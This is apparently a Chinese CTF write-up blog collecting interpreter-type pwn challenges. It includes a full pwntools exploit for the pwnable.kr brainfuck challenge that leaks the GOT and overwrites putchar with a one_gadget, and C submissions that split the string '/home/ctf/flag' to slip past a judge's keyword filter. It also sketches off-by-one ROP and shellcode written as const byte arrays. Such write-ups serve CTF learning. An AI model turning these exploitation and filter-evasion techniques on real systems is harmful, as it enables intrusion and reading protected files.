解释器PWN

前言

记录一下解释器类型的PWN题

参照:解释器类型的Pwn题目总结 - 安全客,安全资讯平台 (anquanke.com)

一、pwnable_bf

brainfuck语言的解释器,其中指针p指向bss段上的tape

image-20220209105933118

参照:Brain fuck-pwnable.kr三种思路详解 - FreeBuf网络安全行业门户

其中各个分支(符号代表)的功能,可见下表:(部分来源于TaQini

操作 含义 解释
> p += 1 p值加1
< p -= 1 p值减1
+ (*p) += 1 p值指向的值加1
- (*p) -= 1 p值指向的值减1
. putchar(*p) 输出
, getchar(*p) 输入

简单来说就是:,.分别控制输入输出;<>控制指针p的取值加减;+-控制指针p指向的内存上的值的加减。

所以这里就很明显,由于没有对p做限制,所以我们可以控制指针p来移动到一个范围内的任意地方

image-20220209110158154

最多移动1024次,也就是在如下范围处

1
&tape ± 1024

又由于tape在bss段上,距离Got表比较近,并且实际上在IDA中查看也确实如此,那么之后我们就可以借助,来输出got表中内容,泄露地址,然后修改putchar的got表,直接跳转one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./libc.so.6")


global p

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

# address
tape_addr = 0x0804A0A0
putchar_addr = 0x0804A030
# build payload
payload = ''
payload += '<' * (tape_addr - putchar_addr) # move to putchar address(0x0804A030)
payload += '.' # load putchar into plt (for the time to use putchar)
payload += '.>' * 0x4 # load putchar real address
payload += '<' * 0x4 + ',>' * 0x4 # overload putchar
payload += '.' # getshell
log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)

libc_base_addr = u32Leakbase(libc.sym['putchar'])
p.send(p32(libc_base_addr + 0x5fbc6))
p.interactive()

二、2020 RCTF bf

这题不太想调,也是brainFuck语言的,但是在[]的实现上有点问题,code在栈上,会存在Off-by-one的情况,刚好溢出到code_addr,可通过修改code_addr来控制程序流从而进行ROP。

三、2020 DAS-CTF OJ0

C编译器,没有附件,过滤了homectfflag等敏感字符和system,exec类的函数

解法一:直接读取

通过编写程序读取/home/ctf/flag,绕过过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(log_level="debug", arch="amd64")

io = remote("183.129.189.60", 10075)

program = """
#include <stdio.h>

int main(){
char buff[128]={0}, file[128]={0};
scanf("%s", file);
FILE* fp = fopen(file, "r");
fscanf(fp, "%s", buff);
printf("%s", buff);
return 0
}@

"""

io.sendlineafter("'@')", program)
io.sendlineafter("(Y/n)", "/home/ctf/flag")

io.interactive()

解法二:拼接读取

由于过滤了,所以可以尝试像Web里面的那种拼接读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(log_level="debug", arch="amd64")

io = remote("183.129.189.60", 10075)

program = """
#include <stdio.h>
#include<string.h>

int main(){
char buf[50];
char path_part_1[5] = "/hom";
char path_part_2[5] = "e/ct";
char path_part_3[5] = "f/fl";
char path_part_4[5] = "agx00";
char path[20];
sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4);
int fd = open(path);
read(fd,buf,50);
write(1,buf,50);
}@

"""

io.sendlineafter("'@')", program)

io.interactive()

四、DEFCON CTF Qualifier 2020 introool

这题不太想调,就是patch,写汇编跳转shellcode等

五、[Redhat2019] Kaleidoscope

这题找不着附件,简单来说就是两个东西Kaleidoscope即时解释器和honggfuzz

六、2020 DAS-CTF OJ1

不能输入括号,大中小括号等,例如int main(){}等等都不行,可以用如下的形式来进行

1
const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;

编译之后可以看到如下,直接形成汇编代码,那么就可以直接写汇编通i过shellcode或者orw来获取flag了。

image-20220209133547687

image-20220209133415993